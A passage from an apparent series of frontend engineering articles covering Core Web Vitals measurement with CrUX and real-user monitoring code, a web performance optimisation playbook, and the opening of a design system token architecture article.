  const { attribution } = metric

  const diagnostics: CLSDiagnostics = {
    totalCLS: metric.value,
    largestShiftTarget: attribution.largestShiftTarget || "unknown",
    largestShiftValue: attribution.largestShiftValue,
    largestShiftTime: attribution.largestShiftTime,
    shiftCount: metric.entries.length,
  }

  // Common CLS culprits by element type
  const target = diagnostics.largestShiftTarget
  let cause = "unknown"

  if (target.includes("img")) cause = "Image without dimensions"
  else if (target.includes("iframe")) cause = "Embedded content resize"
  else if (target.includes("ad") || target.includes("banner")) cause = "Ad injection"
  else if (target.includes("font") || /^(p|h[1-6]|span)$/i.test(target)) cause = "Font swap"

  sendToAnalytics({ ...diagnostics, likelyCause: cause })
})
```

## Field Data: CrUX and RUM Pipelines

### Chrome User Experience Report (CrUX)

CrUX aggregates real Chrome user data and is the source of field metrics for Google Search ranking:

| Data Source            | Update Frequency                      | Data Granularity              | Use Case                                  |
| ---------------------- | ------------------------------------- | ----------------------------- | ----------------------------------------- |
| **CrUX API**           | Daily (~04:00 UTC)                    | Origin or page URL            | Real-time monitoring, CI/CD checks        |
| **CrUX History API**   | Weekly (Mondays)                      | Origin or page URL, 25+ weeks | Trend analysis, regression detection      |
| **BigQuery**           | Monthly (2nd Tuesday)                 | Origin only                   | Large-scale analysis, industry benchmarks |
| **PageSpeed Insights** | Daily (CrUX) + on-demand (Lighthouse) | Page URL                      | Combined lab + field, quick checks        |

### CrUX API Usage

```ts title="crux-api.ts" collapse={1-5, 30-40}
interface CrUXResponse {
  record: {
    key: { url?: string; origin?: string }
    metrics: {
      largest_contentful_paint: MetricData
      interaction_to_next_paint: MetricData
      cumulative_layout_shift: MetricData
    }
  }
}

interface MetricData {
  histogram: Array<{ start: number; end?: number; density: number }>
  percentiles: { p75: number }
}

async function queryCrUX(urlOrOrigin: string): Promise<CrUXResponse> {
  const isOrigin = !urlOrOrigin.includes("/", urlOrOrigin.indexOf("//") + 2)

  const response = await fetch(`https://chromeuxreport.googleapis.com/v1/records:queryRecord?key=${API_KEY}`, {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      [isOrigin ? "origin" : "url"]: urlOrOrigin,
      formFactor: "PHONE", // Or 'DESKTOP', 'TABLET', or omit for all
    }),
  })

  return response.json()
}

// Rate limit: 150 queries/minute per Google Cloud project
// Data coverage: Requires sufficient traffic (anonymity threshold)
```

### Building a RUM Pipeline

Production RUM requires handling edge cases the web-vitals library doesn't solve:

```ts title="rum-pipeline.ts" collapse={1-8, 45-55}
import { onLCP, onINP, onCLS, onFCP, onTTFB } from "web-vitals/attribution"

interface RUMPayload {
  sessionId: string
  pageUrl: string
  timestamp: number
  metrics: Record<string, number>
  attribution: Record<string, unknown>
  metadata: {
    deviceType: string
    connectionType: string
    viewport: { width: number; height: number }
  }
}

// Generate stable session ID
const sessionId = crypto.randomUUID()

// Collect device/connection context
function getMetadata() {
  return {
    deviceType: /Mobi|Android/i.test(navigator.userAgent) ? "mobile" : "desktop",
    connectionType:
      (navigator as Navigator & { connection?: { effectiveType: string } }).connection?.effectiveType || "unknown",
    viewport: { width: window.innerWidth, height: window.innerHeight },
  }
}

// Batch and send metrics
const metricQueue: RUMPayload[] = []

function queueMetric(metric: { name: string; value: number; delta: number; attribution?: unknown }) {
  metricQueue.push({
    sessionId,
    pageUrl: window.location.href,
    timestamp: Date.now(),
    metrics: { [metric.name]: metric.delta }, // Use delta for CLS
    attribution: (metric.attribution as Record<string, unknown>) || {},
    metadata: getMetadata(),
  })
}

// Send on visibilitychange (page hide) for reliable delivery
document.addEventListener("visibilitychange", () => {
  if (document.visibilityState === "hidden" && metricQueue.length > 0) {
    navigator.sendBeacon("/analytics/rum", JSON.stringify(metricQueue))
    metricQueue.length = 0
  }
})

// Register metric callbacks
onLCP(queueMetric)
onINP(queueMetric)
onCLS(queueMetric)
onFCP(queueMetric)
onTTFB(queueMetric)
```

**Critical implementation details**:

1. **Use `delta` for CLS**: The value accumulates; sending full value inflates aggregates
2. **Send on `visibilitychange`**: Metrics finalize when the page is hidden; `beforeunload` is unreliable on mobile
3. **Use `sendBeacon`**: Survives page navigation, unlike `fetch`
4. **Include session/page context**: Enables segmentation by device, connection, page
5. **Batch requests**: Reduces beacon overhead, especially on mobile

### Aggregation and Alerting

For Core Web Vitals pass/fail determination, aggregate to the 75th percentile:

```ts title="aggregation.ts" collapse={1-3, 25-30}
interface MetricSample {
  value: number
  timestamp: number
}

function calculateP75(samples: MetricSample[]): number {
  if (samples.length === 0) return 0

  const sorted = [...samples].map((s) => s.value).sort((a, b) => a - b)
  const index = Math.ceil(sorted.length * 0.75) - 1
  return sorted[index]
}

// Thresholds for alerting
const CWV_THRESHOLDS = {
  LCP: { good: 2500, poor: 4000 },
  INP: { good: 200, poor: 500 },
  CLS: { good: 0.1, poor: 0.25 },
}

function getRating(metric: string, p75: number): "good" | "needs-improvement" | "poor" {
  const threshold = CWV_THRESHOLDS[metric as keyof typeof CWV_THRESHOLDS]
  if (p75 <= threshold.good) return "good"
  if (p75 <= threshold.poor) return "needs-improvement"
  return "poor"
}
```

## Debugging Workflow

### Step 1: Identify the Failing Metric

Start with PageSpeed Insights or CrUX API to identify which metric fails at p75:

```bash
# Quick check via PSI API
curl "https://www.googleapis.com/pagespeedonline/v5/runPagespeed?url=https://example.com&category=performance&key=YOUR_KEY"
```

### Step 2: Check Lab vs Field Gap

If lab passes but field fails, investigate:

| Symptom             | Likely Cause                                | Investigation                           |
| ------------------- | ------------------------------------------- | --------------------------------------- |
| **LCP lab < field** | Personalization, A/B tests, dynamic content | Check CrUX by device/connection segment |
| **INP not in lab**  | Lab doesn't capture real interactions       | Add RUM with attribution build          |
| **CLS lab < field** | Lazy-loaded content, ads, async widgets     | Test with populated cache and scroll    |

### Step 3: Use Attribution Data

For the failing metric, deploy the attribution build to RUM and identify:

- **LCP**: Which subpart dominates? (TTFB, load delay, load time, render delay)
- **INP**: Which phase dominates? (input delay, processing, presentation)
- **CLS**: Which element causes the largest shift? When in the page lifecycle?

### Step 4: Target Optimizations

| Metric  | Bottleneck                   | Optimization                                             |
| ------- | ---------------------------- | -------------------------------------------------------- |
| **LCP** | TTFB > 800ms                 | CDN, edge caching, server optimization                   |
| **LCP** | Resource Load Delay > 500ms  | Add `<link rel="preload">`, move image earlier in DOM    |
| **LCP** | Resource Load Time > 1s      | Image compression, responsive images, AVIF/WebP          |
| **LCP** | Element Render Delay > 200ms | Reduce render-blocking JS/CSS                            |
| **INP** | Input Delay > 100ms          | Break long tasks with `scheduler.yield()`                |
| **INP** | Processing Time > 100ms      | Optimize handler, defer non-critical work                |
| **INP** | Presentation Delay > 100ms   | Reduce DOM size, avoid layout thrashing                  |
| **CLS** | Font swap                    | Font metric overrides (`size-adjust`, `ascent-override`) |
| **CLS** | Images                       | Explicit `width`/`height` attributes, `aspect-ratio`     |
| **CLS** | Ads/embeds                   | Reserve space with CSS `min-height`                      |

## Conclusion

Core Web Vitals measurement requires understanding the fundamental difference between lab data (reproducible, diagnostic) and field data (real users, ranking signals). Lab tools cannot predict field performance due to cache state, device diversity, and actual user interaction patterns—but they're essential for debugging and regression testing.

The `web-vitals` library with attribution build provides the diagnostic detail needed to identify root causes. LCP breaks down into four subparts (TTFB, resource load delay, resource load time, element render delay), INP into three phases (input delay, processing time, presentation delay), and CLS into individual shifts with source elements.

For production monitoring, combine CrUX data (authoritative 75th percentile) with custom RUM (granular attribution data). Use CrUX for pass/fail status and trend analysis; use RUM attribution for debugging specific bottlenecks. The workflow is: identify failing metric → check lab/field gap → analyze attribution data → apply targeted optimization.

## Appendix

### Prerequisites

- Understanding of browser rendering pipeline (critical rendering path, paint, composite)
- Familiarity with PerformanceObserver API
- Basic knowledge of analytics data pipelines

### Terminology

- **CrUX**: Chrome User Experience Report—Google's public dataset of real user metrics from Chrome
- **RUM**: Real User Monitoring—collecting performance data from actual users in production
- **p75**: 75th percentile—the value below which 75% of samples fall
- **Attribution**: Diagnostic data identifying the root cause of a metric value

### Summary

- **Lab vs field**: Lab data answers "what's possible?"; field data answers "what are users experiencing?"—prioritize field data for Core Web Vitals assessment
- **web-vitals library v5.x**: Canonical implementation; use attribution build for debugging (~3.5KB)
- **LCP subparts**: TTFB, resource load delay, resource load time, element render delay—median poor-LCP sites have >50% of budget consumed before resource fetch starts
- **INP phases**: Input delay (main thread blocked), processing time (handler execution), presentation delay (layout/paint)—uses outlier filtering (1 per 50 interactions ignored)
- **CLS session windows**: Maximum 5 seconds, groups shifts within 1 second—`hadRecentInput` excludes user-initiated shifts within 500ms
- **CrUX data sources**: API (daily, page-level), History API (weekly, 25+ weeks), BigQuery (monthly, origin-only)

### References

**Specifications**

- [W3C Largest Contentful Paint](https://www.w3.org/TR/largest-contentful-paint/) - LCP definition, qualifying elements, timing
- [WICG Layout Instability](https://wicg.github.io/layout-instability/) - CLS calculation, session windows, hadRecentInput
- [W3C Event Timing](https://www.w3.org/TR/event-timing/) - Event duration measurement, INP basis
- [W3C Performance Timeline](https://w3c.github.io/performance-timeline/) - PerformanceObserver API

**Official Documentation**

- [web.dev Core Web Vitals](https://web.dev/articles/vitals) - Thresholds and measurement guidance
- [web.dev INP](https://web.dev/articles/inp) - INP definition, interaction model, thresholds
- [web.dev Lab vs Field Data](https://web.dev/articles/lab-and-field-data-differences) - When and why measurements differ
- [Chrome Developers CrUX API](https://developer.chrome.com/docs/crux/api/) - API usage, rate limits, data structure
- [Chrome Developers CrUX BigQuery](https://developer.chrome.com/docs/crux/bigquery/) - Dataset structure, query patterns
- [Chrome Developers CrUX History API](https://developer.chrome.com/docs/crux/history-api/) - Trend data access

**Implementation References**

- [GoogleChrome/web-vitals](https://github.com/GoogleChrome/web-vitals) - Official library, v5.x documentation
- [DebugBear LCP Subparts](https://www.debugbear.com/blog/lcp-subparts) - LCP timing breakdown methodology
- [web.dev Optimize INP](https://web.dev/articles/optimize-inp) - Phase-specific optimization strategies

---

## Web Performance Optimization: Overview and Playbook

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/web-performance-optimization/web-performance-overview
**Category:** Frontend Engineering / Web Performance Optimization
**Description:** Overview of web performance optimization covering infrastructure, JavaScript, CSS, images, and fonts. Provides quick reference tables and links to detailed articles in the series.

# Web Performance Optimization: Overview and Playbook

Overview of web performance optimization covering infrastructure, JavaScript, CSS, images, and fonts. Provides quick reference tables and links to detailed articles in the series.

<figure>

![Web performance optimization layers and their impact on Core Web Vitals](./web-performance-optimization-layers-and-their-impact-on-core-web-vitals.svg)

<figcaption>Web performance optimization layers and their impact on Core Web Vitals</figcaption>

</figure>

## Abstract

Web performance optimization reduces to three user-centric questions: **How fast does content appear?** (Largest Contentful Paint, or LCP), **How quickly does the page respond?** (Interaction to Next Paint, or INP), and **Does the layout stay stable?** (Cumulative Layout Shift, or CLS). These Core Web Vitals (CWV) are Google's ranking signals measured at the 75th percentile—a page passes only when 75% of real user visits meet the "good" threshold for all three metrics.

The optimization stack follows a dependency chain:

1. **Infrastructure** (DNS, HTTP/3, CDN, caching) determines the floor for all metrics—you cannot optimize your way out of a slow origin or missing edge cache
2. **JavaScript** (bundle size, long tasks, workers) directly gates INP—a 200ms task budget means breaking work into chunks and offloading computation
3. **CSS & Typography** (critical path, containment, font loading) affects both CLS and LCP—inlined critical CSS and font metric overrides eliminate layout shifts
4. **Images** (formats, responsive sizing, loading priority) dominate LCP on media-heavy pages—AVIF/WebP and `fetchpriority` target the largest element

Each layer has diminishing returns without the previous layer being sound. A perfectly code-split bundle won't help if TTFB is 2 seconds. Zero-CLS font loading won't matter if JavaScript blocks the main thread for 500ms.

## Core Web Vitals Thresholds

As of March 2024, Core Web Vitals consist of three metrics that capture the user experience dimensions Google considers most critical: loading, interactivity, and visual stability.

| Metric                              | Good   | Needs Improvement | Poor   | What It Measures                          |
| ----------------------------------- | ------ | ----------------- | ------ | ----------------------------------------- |
| **LCP** (Largest Contentful Paint)  | ≤2.5s  | 2.5s–4.0s         | >4.0s  | When the main content becomes visible     |
| **INP** (Interaction to Next Paint) | ≤200ms | 200ms–500ms       | >500ms | Responsiveness to all user interactions   |
| **CLS** (Cumulative Layout Shift)   | ≤0.1   | 0.1–0.25          | >0.25  | Unexpected layout movement during session |

**Supporting metric (not a Core Web Vital):**

| Metric                        | Good   | Needs Improvement | Poor   | Why It Matters                            |
| ----------------------------- | ------ | ----------------- | ------ | ----------------------------------------- |
| **TTFB** (Time to First Byte) | ≤200ms | 200ms–500ms       | >500ms | Sets the floor for all downstream metrics |

TTFB is excluded from CWV because fast server response doesn't guarantee good user experience—a page can have 100ms TTFB but 5 seconds of JavaScript blocking LCP. However, slow TTFB makes good LCP nearly impossible.

### Why These Metrics?

Google's threshold methodology targets the 75th percentile with a balance between achievability (most sites can reach "good") and meaningfulness (users perceive the difference). The 2.5s LCP threshold corresponds to research showing users begin abandoning pages after 3 seconds; 200ms INP aligns with the 100-200ms window where interactions feel instant; 0.1 CLS represents shifts users barely notice.

> **INP replaced FID in March 2024:** First Input Delay (FID) measured only the _first_ interaction's input delay. INP measures _every_ interaction throughout the session, including input delay + processing time + presentation delay. Most sites that passed FID failed INP initially because FID ignored subsequent interactions and processing time entirely.

## 1. Infrastructure & Architecture

Infrastructure determines the performance floor. Network round trips, server processing, and cache misses create latency that no amount of frontend optimization can overcome. A 2-second TTFB leaves only 500ms for everything else if targeting 2.5s LCP.

**Detailed coverage**: [Infrastructure Optimization for Web Performance](../web-performance-infrastructure-stack/README.md)

### Quick Reference

| Layer            | Key Technologies           | Target Metrics      |
| ---------------- | -------------------------- | ------------------- |
| **DNS**          | SVCB/HTTPS records         | <50ms resolution    |
| **Protocol**     | HTTP/3, TLS 1.3, QUIC      | <100ms connection   |
| **Edge**         | CDN, Edge Functions        | >80% origin offload |
| **Origin**       | Load balancing, Redis      | <100ms TTFB         |
| **Architecture** | Islands, BFF, Resumability | 50-80% JS reduction |

### Key Techniques

- **DNS Protocol Discovery**: HTTPS records enable HTTP/3 discovery, saving 100-300ms on connection establishment
- **HTTP/3 and QUIC**: Eliminates TCP head-of-line blocking; up to 55% faster page loads in high packet loss scenarios ([Cloudflare HTTP/3 benchmarks](https://blog.cloudflare.com/http-3-vs-http-2/))
- **Edge Computing**: Run logic at CDN edge for personalization, A/B testing, auth
- **BFF Pattern**: 30-50% payload reduction, 60-80% fewer API requests
- **Multi-layer Caching**: Service Worker + IndexedDB + CDN for comprehensive caching

## 2. JavaScript Optimization

JavaScript directly gates INP. Every millisecond of main thread blocking is a millisecond added to interaction latency. The 200ms INP budget means: receive input, run handlers, let browser paint—all within 200ms. Long tasks (>50ms) risk exceeding this budget on slower devices.

**Detailed coverage**: [JavaScript Performance Optimization](../web-performance-javascript-optimization/README.md)

### Quick Reference

| Technique             | Use Case          | Impact                         |
| --------------------- | ----------------- | ------------------------------ |
| **async/defer**       | Script loading    | Unblock HTML parsing           |
| **Code splitting**    | Large bundles     | 50-80% initial reduction       |
| **scheduler.yield()** | Long tasks >50ms  | Better INP, no jank            |
| **Web Workers**       | Heavy computation | Off main thread                |
| **React.memo**        | Component updates | Prevent unnecessary re-renders |

### Key Techniques

- **Script Loading**: Use `defer` for app code (preserves order), `async` for independent scripts
- **Code Splitting**: Route-based with `React.lazy()` + `Suspense`, component-level for heavy widgets
- **Task Scheduling**: `scheduler.yield()` every 50 items or 5ms to maintain responsiveness
- **Worker Pools**: Manage multiple workers for parallel computation with task queuing
- **Tree Shaking**: Mark packages `sideEffects: false`, use ES modules for dead code elimination

## 3. CSS & Typography

CSS blocks rendering until parsed; fonts cause layout shifts when they swap. The critical rendering path requires CSS before first paint, but only the CSS needed for above-the-fold content. Font loading is a common CLS culprit—fallback fonts have different metrics than web fonts, causing text to reflow on swap.

**Detailed coverage**: [CSS and Typography Optimization](../web-performance-css-typography/README.md)

### Quick Reference

| Technique            | Use Case              | Impact                    |
| -------------------- | --------------------- | ------------------------- |
| **Critical CSS**     | Above-the-fold styles | Eliminate render-blocking |
| **CSS Containment**  | Layout isolation      | 20-40% layout savings     |
| **WOFF2 + subset**   | Font delivery         | 65-90% smaller fonts      |
| **font-display**     | Loading strategy      | Control FOIT/FOUT         |
| **Metric overrides** | Fallback matching     | Zero-CLS font swap        |

### Key Techniques

- **Critical CSS**: Inline ≤14KB above-the-fold styles, defer rest with media="print" swap
- **CSS Containment**: `contain: layout paint style` isolates reflows to subtrees
- **Compositor Animations**: Only animate `transform` and `opacity` for 60fps
- **Font Subsetting**: Remove unused glyphs with pyftsubset for 65-90% reduction
- **Variable Fonts**: Single file for all weights, smaller than 3+ static files combined
- **Font Metric Overrides**: `size-adjust`, `ascent-override` for zero-CLS fallback fonts

## 4. Image Optimization

Images are typically the LCP element on content-heavy pages. A hero image that's 2MB and served in JPEG when AVIF would be 400KB directly delays LCP. Beyond format, loading strategy matters: the browser must discover, request, download, and decode the image before it can paint.

**Detailed coverage**: [Image Optimization for Web Performance](../web-performance-image-optimization/README.md)

### Quick Reference

| Technique            | Use Case            | Impact                    |
| -------------------- | ------------------- | ------------------------- |
| **AVIF/WebP**        | Modern browsers     | 30-50% smaller than JPEG  |
| **srcset + sizes**   | Responsive images   | Right size per device     |
| **loading="lazy"**   | Below fold images   | Reduce initial payload    |
| **fetchpriority**    | LCP images          | 10-25% faster LCP         |
| **decoding="async"** | Non-blocking decode | Up to 20% LCP improvement |

### Format Selection

| Format   | Compression vs JPEG | Browser Support | Best Use Case           |
| -------- | ------------------- | --------------- | ----------------------- |
| **AVIF** | 1.5-2× smaller      | ~94%            | HDR photos, rich media  |
| **WebP** | 1.25-1.34× smaller  | ~97%            | General web photos & UI |
| **JPEG** | 1× (baseline)       | 100%            | Universal fallback      |
| **PNG**  | Lossless            | 100%            | Graphics, transparency  |

### Key Techniques

- **Picture Element**: Format negotiation with AVIF → WebP → JPEG fallback chain
- **Responsive Images**: `srcset` with width descriptors, `sizes` for layout hints
- **LCP Images**: `loading="eager"` + `fetchpriority="high"` + `decoding="async"`
- **Below-fold Images**: `loading="lazy"` with 200px rootMargin for prefetching
- **Network-aware Loading**: Adjust quality based on `navigator.connection.effectiveType`

## 5. Performance Monitoring

Continuous monitoring ensures optimizations remain effective and regressions are caught early.

### Key Metrics to Track

- **Core Web Vitals**: LCP, INP, CLS via PerformanceObserver
- **TTFB and Server Response**: Backend and infrastructure health
- **Bundle Sizes**: Track with size-limit, fail builds on regression
- **Cache Hit Rates**: CDN and service worker effectiveness

### Monitoring Tools

| Tool                    | Purpose                     | Integration    |
| ----------------------- | --------------------------- | -------------- |
| **Lighthouse CI**       | Synthetic monitoring        | GitHub Actions |
| **size-limit**          | Bundle size budgets         | CI/CD pipeline |
| **PerformanceObserver** | Real User Monitoring        | Analytics      |
| **WebPageTest**         | Detailed waterfall analysis | Manual testing |

## Implementation Checklist

### Infrastructure

- [ ] Enable HTTP/3 with HTTPS DNS records
- [ ] Configure TLS 1.3 with 0-RTT resumption
- [ ] Set up CDN with edge computing capabilities
- [ ] Implement multi-layer caching (CDN + Service Worker + Redis)
- [ ] Configure Brotli compression (level 11 static, level 4-5 dynamic)

### JavaScript

- [ ] Implement route-based code splitting
- [ ] Use `scheduler.yield()` for tasks >50ms
- [ ] Offload heavy computation to Web Workers
- [ ] Configure tree shaking with ES modules
- [ ] Set up bundle size budgets in CI

### CSS & Typography

- [ ] Extract and inline critical CSS (≤14KB)
- [ ] Apply CSS containment to independent sections
- [ ] Use WOFF2 format with subsetting
- [ ] Implement font metric overrides for zero-CLS
- [ ] Preload critical fonts with crossorigin attribute

### Images

- [ ] Serve AVIF/WebP with JPEG fallback via `<picture>`
- [ ] Implement responsive images with srcset and sizes
- [ ] Use `fetchpriority="high"` for LCP images
- [ ] Apply `loading="lazy"` to below-fold images
- [ ] Set explicit width/height to prevent CLS

### Monitoring

- [ ] Set up Lighthouse CI in GitHub Actions
- [ ] Configure bundle size budgets with size-limit
- [ ] Implement RUM with PerformanceObserver
- [ ] Create performance dashboards and alerts

## Performance Budget Reference

```json
{
  "resourceSizes": {
    "total": "500KB",
    "javascript": "150KB",
    "css": "50KB",
    "images": "200KB",
    "fonts": "75KB"
  },
  "metrics": {
    "lcp": "2.5s",
    "fcp": "1.8s",
    "ttfb": "200ms",
    "inp": "200ms",
    "cls": "0.1"
  }
}
```

## Series Articles

| Article                                                                          | Focus Area              | Key Topics                                 |
| -------------------------------------------------------------------------------- | ----------------------- | ------------------------------------------ |
| [Infrastructure Optimization](../web-performance-infrastructure-stack/README.md) | Network & Architecture  | DNS, HTTP/3, CDN, Edge, BFF, Caching       |
| [JavaScript Optimization](../web-performance-javascript-optimization/README.md)  | Client-side Performance | Code splitting, Workers, React, Scheduling |
| [CSS & Typography](../web-performance-css-typography/README.md)                  | Rendering & Fonts       | Critical CSS, Containment, Font loading    |
| [Image Optimization](../web-performance-image-optimization/README.md)            | Media Delivery          | Formats, Responsive, Lazy loading          |

## Conclusion

Web performance optimization follows a layered dependency model where each layer sets constraints for the next. Infrastructure determines the floor (TTFB), JavaScript controls interactivity (INP), CSS/fonts affect stability and render timing (CLS, LCP), and images often dominate the critical path for LCP.

The Core Web Vitals framework—LCP, INP, CLS measured at the 75th percentile—provides a user-centric success criterion. Optimization work should be prioritized by which metric is failing and which layer is the bottleneck. A site with good infrastructure but poor INP needs JavaScript work, not more CDN tuning.

Start with measurement (RUM and synthetic), identify the weakest metric, trace it to the responsible layer, and apply targeted fixes. The detailed articles in this series cover each layer's implementation specifics.

## Appendix

### Prerequisites

- Understanding of browser rendering pipeline (parsing, layout, paint, composite)
- Familiarity with HTTP protocol basics
- Basic knowledge of JavaScript execution model and event loop

### Summary

- **Core Web Vitals** (as of March 2024): LCP ≤2.5s, INP ≤200ms, CLS ≤0.1—measured at the 75th percentile
- **Optimization layers**: Infrastructure → JavaScript → CSS/Typography → Images, each constraining the next
- **Infrastructure**: HTTP/3, CDN edge computing, multi-layer caching target TTFB <200ms
- **JavaScript**: Code splitting, task scheduling with `scheduler.yield()`, Web Workers maintain INP <200ms
- **CSS & Fonts**: Critical CSS inlining, font metric overrides eliminate CLS from font loading
- **Images**: AVIF/WebP formats, responsive delivery, `fetchpriority` for LCP images

### References

**Specifications and Standards**

- [Web Vitals](https://web.dev/articles/vitals) - Google's Core Web Vitals specification and thresholds
- [Interaction to Next Paint (INP)](https://web.dev/articles/inp) - INP metric definition and measurement
- [Largest Contentful Paint (LCP)](https://web.dev/articles/lcp) - LCP specification
- [Cumulative Layout Shift (CLS)](https://web.dev/articles/cls) - CLS calculation methodology
- [Defining Core Web Vitals Thresholds](https://web.dev/articles/defining-core-web-vitals-thresholds) - Rationale behind threshold values

**Official Documentation**

- [INP Becomes a Core Web Vital (March 2024)](https://web.dev/blog/inp-cwv-march-12) - INP replacing FID announcement
- [HTTP/3 Explained](https://http3-explained.haxx.se/) - QUIC and HTTP/3 protocol guide
- [Time to First Byte (TTFB)](https://web.dev/articles/ttfb) - Why TTFB is not a Core Web Vital
- [Lighthouse CI](https://github.com/GoogleChrome/lighthouse-ci) - Synthetic performance testing

**Implementation References**

- [Web Workers API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) - Background thread processing
- [CSS Containment - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment) - Layout isolation
- [Responsive Images - MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) - srcset and sizes
- [Variable Fonts - MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_fonts/Variable_fonts_guide) - Font optimization

---

## Design System Implementation and Scaling

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/design-systems/design-system-implementation-scaling
**Category:** Frontend Engineering / Design Systems
**Description:** Technical implementation patterns for building, migrating, and operating design systems at enterprise scale. This article assumes governance and strategic alignment are in place (see Design System Adoption: Foundations and Governance) and focuses on the engineering decisions that determine whether a design system thrives or becomes technical debt.

# Design System Implementation and Scaling

Technical implementation patterns for building, migrating, and operating design systems at enterprise scale. This article assumes governance and strategic alignment are in place (see [Design System Adoption: Foundations and Governance](../design-system-adoption-foundations/README.md)) and focuses on the engineering decisions that determine whether a design system thrives or becomes technical debt.

<figure>

![Design system implementation lifecycle: architecture decisions flow into distribution, which feeds operational practices that inform architectural evolution.](./design-system-implementation-lifecycle-architecture-decisions-flow-into-distribu.svg)

<figcaption>Design system implementation lifecycle: architecture decisions flow into distribution, which feeds operational practices that inform architectural evolution.</figcaption>

</figure>

## Abstract

Design system implementation succeeds when three forces align: **architecture that anticipates change**, **distribution that minimizes friction**, and **operations that treat the system as a product**.

<figure>

![The mental model: architecture enables change, automation reduces friction, data drives decisions.](./the-mental-model-architecture-enables-change-automation-reduces-friction-data-dr.svg)

<figcaption>The mental model: architecture enables change, automation reduces friction, data drives decisions.</figcaption>

</figure>

**Architecture**: The hybrid approach—platform-agnostic tokens with framework-specific component wrappers—survives technology shifts. React Server Components (RSC) compatibility, headless accessibility primitives (Radix, React Aria), and tree-shakeable bundles are table stakes for 2025+.

**Distribution**: Codemods transform major version upgrades from multi-sprint projects to single-command operations. Repository scanning reveals adoption patterns that documentation alone cannot surface. Shared CDN hosting eliminates duplicate asset downloads across applications.

**Operations**: Version compatibility windows (all apps within N minor versions) create upgrade pressure without breaking stability. Usage analytics—which components, which props, which overrides—drive prioritization better than feature requests.

## Technical Architecture and Implementation

### Making Architectural Decisions

The architectural foundation determines the long-term viability of your design system. You must decide whether to build framework-specific or framework-agnostic components, how to handle multiple frontend technologies across the organization, what migration strategy applies to existing applications, and how to ensure backward compatibility as the system evolves.

**Architecture Strategy Comparison**

| Approach                                     | Pros                                               | Cons                                                       |
| -------------------------------------------- | -------------------------------------------------- | ---------------------------------------------------------- |
| **Framework-Specific** (React, Angular, Vue) | Better developer experience, seamless integration  | Vendor lock-in, maintenance overhead, framework dependency |
| **Framework-Agnostic** (Web Components)      | Future-proof, technology-agnostic, single codebase | Steeper learning curve, limited ecosystem integration      |
| **Hybrid**                                   | Best of both worlds, flexibility                   | More complexity to manage                                  |

The **Hybrid Approach** often provides the best balance for organizations with diverse technology stacks. Design tokens and principles remain platform-agnostic, serving as the single source of truth. Framework-specific component wrappers consume these tokens and implement interaction patterns optimized for each framework. This approach maintains a shared design language across platforms while delivering the developer experience teams expect.

**Measuring Architecture Success**

**Integration Complexity** measures the time required to integrate components into existing projects—high complexity indicates the architecture doesn't match how teams actually work. **Performance Impact** tracks bundle size and runtime performance; a design system that bloats bundles or slows rendering will face adoption resistance. **Browser Compatibility** through cross-browser testing results ensures the system works across your supported browser matrix. **Developer Experience** measured as time to implement common patterns reveals whether the architecture accelerates or impedes development.

**Architecture Decision Timeline**

Make architectural decisions before any component development begins—changing architecture later requires extensive rework. Prototype both framework-specific and framework-agnostic approaches with a small team to understand the real trade-offs in your context. Validate decisions with 2-3 pilot projects before committing; theoretical advantages often don't survive contact with production requirements.

### Design Token Strategy

Design tokens encode design decisions as platform-agnostic data. For comprehensive coverage of token taxonomy, naming conventions, theming architecture, and governance, see [Design Tokens and Theming Architecture](../design-tokens-and-theming/README.md). This section focuses on implementation decisions specific to scaling.

**Industry Standard: DTCG Specification (v2025.10)**

The W3C Design Tokens Community Group (DTCG) specification reached its first stable version in October 2025. Over 20 organizations—including Adobe, Amazon, Google, Microsoft, Meta, Figma, Salesforce, and Shopify—contributed to this standardization effort.

**Why DTCG matters for implementation**: The specification standardizes the JSON format with `$value`, `$type`, and `$description` properties. Tools like Style Dictionary v4, Tokens Studio, and Terrazzo all support DTCG natively, enabling interoperability between design tools and development pipelines without custom transformation logic.

**Token Transformation with Style Dictionary v4**

[Style Dictionary v4](https://styledictionary.com/) is the industry-standard build system for design tokens. Key changes from v3:

| Change           | v3 Behavior                             | v4 Behavior                                    | Why It Matters        |
| ---------------- | --------------------------------------- | ---------------------------------------------- | --------------------- |
| **Format**       | Custom `value`/`type` properties        | DTCG `$value`/`$type` support                  | Tool interoperability |
| **CTI Coupling** | Hard-coded Category-Type-Item structure | Uses `token.type` property                     | Flexible naming       |
| **Transforms**   | Limited chaining                        | Transitive transforms resolve reference chains | Complex aliases work  |

```javascript title="style-dictionary.config.mjs" collapse={1-2, 22-35}
// Style Dictionary v4 configuration with DTCG support
import StyleDictionary from "style-dictionary"

export default {
  source: ["tokens/**/*.json"],
  platforms: {
    css: {
      transformGroup: "css",
      buildPath: "dist/css/",
      files: [
        {
          destination: "variables.css",
          format: "css/variables",
          options: { outputReferences: true }, // Preserve aliases: --color-action: var(--color-blue-500)
        },
      ],
    },
    js: {
      transformGroup: "js",
      buildPath: "dist/js/",
      files: [{ destination: "tokens.mjs", format: "javascript/esm" }],
    },
    // iOS and Android configurations
    ios: {
      transformGroup: "ios-swift",
      buildPath: "dist/ios/",
      files: [{ destination: "Tokens.swift", format: "ios-swift/class.swift" }],
    },
    android: {
      transformGroup: "android",
      buildPath: "dist/android/",
      files: [{ destination: "tokens.xml", format: "android/resources" }],
    },
  },
}
```

**Three-Tier Token Architecture:**

| Tier           | Purpose                               | Example                                     | When to Add                      |
| -------------- | ------------------------------------- | ------------------------------------------- | -------------------------------- |
| **Primitives** | Raw values defining what styles exist | `color-blue-500: #0070f3`                   | Always (foundation)              |
| **Semantics**  | Intent-based mappings                 | `color-action-primary: {color.blue.500}`    | Always (enables theming)         |
| **Components** | Element-specific bindings             | `button-background: {color.action.primary}` | Only for multi-brand/white-label |

**Design reasoning**: Most systems operate well with primitives and semantic tokens alone. Component tokens multiply maintenance overhead—a 200-token semantic layer can balloon to 2000+ with component tokens. Only introduce the third tier when multi-brand theming or white-labeling requires granular per-component customization.

**Measuring Token Effectiveness**

| Metric         | Target                | Why It Matters                                            |
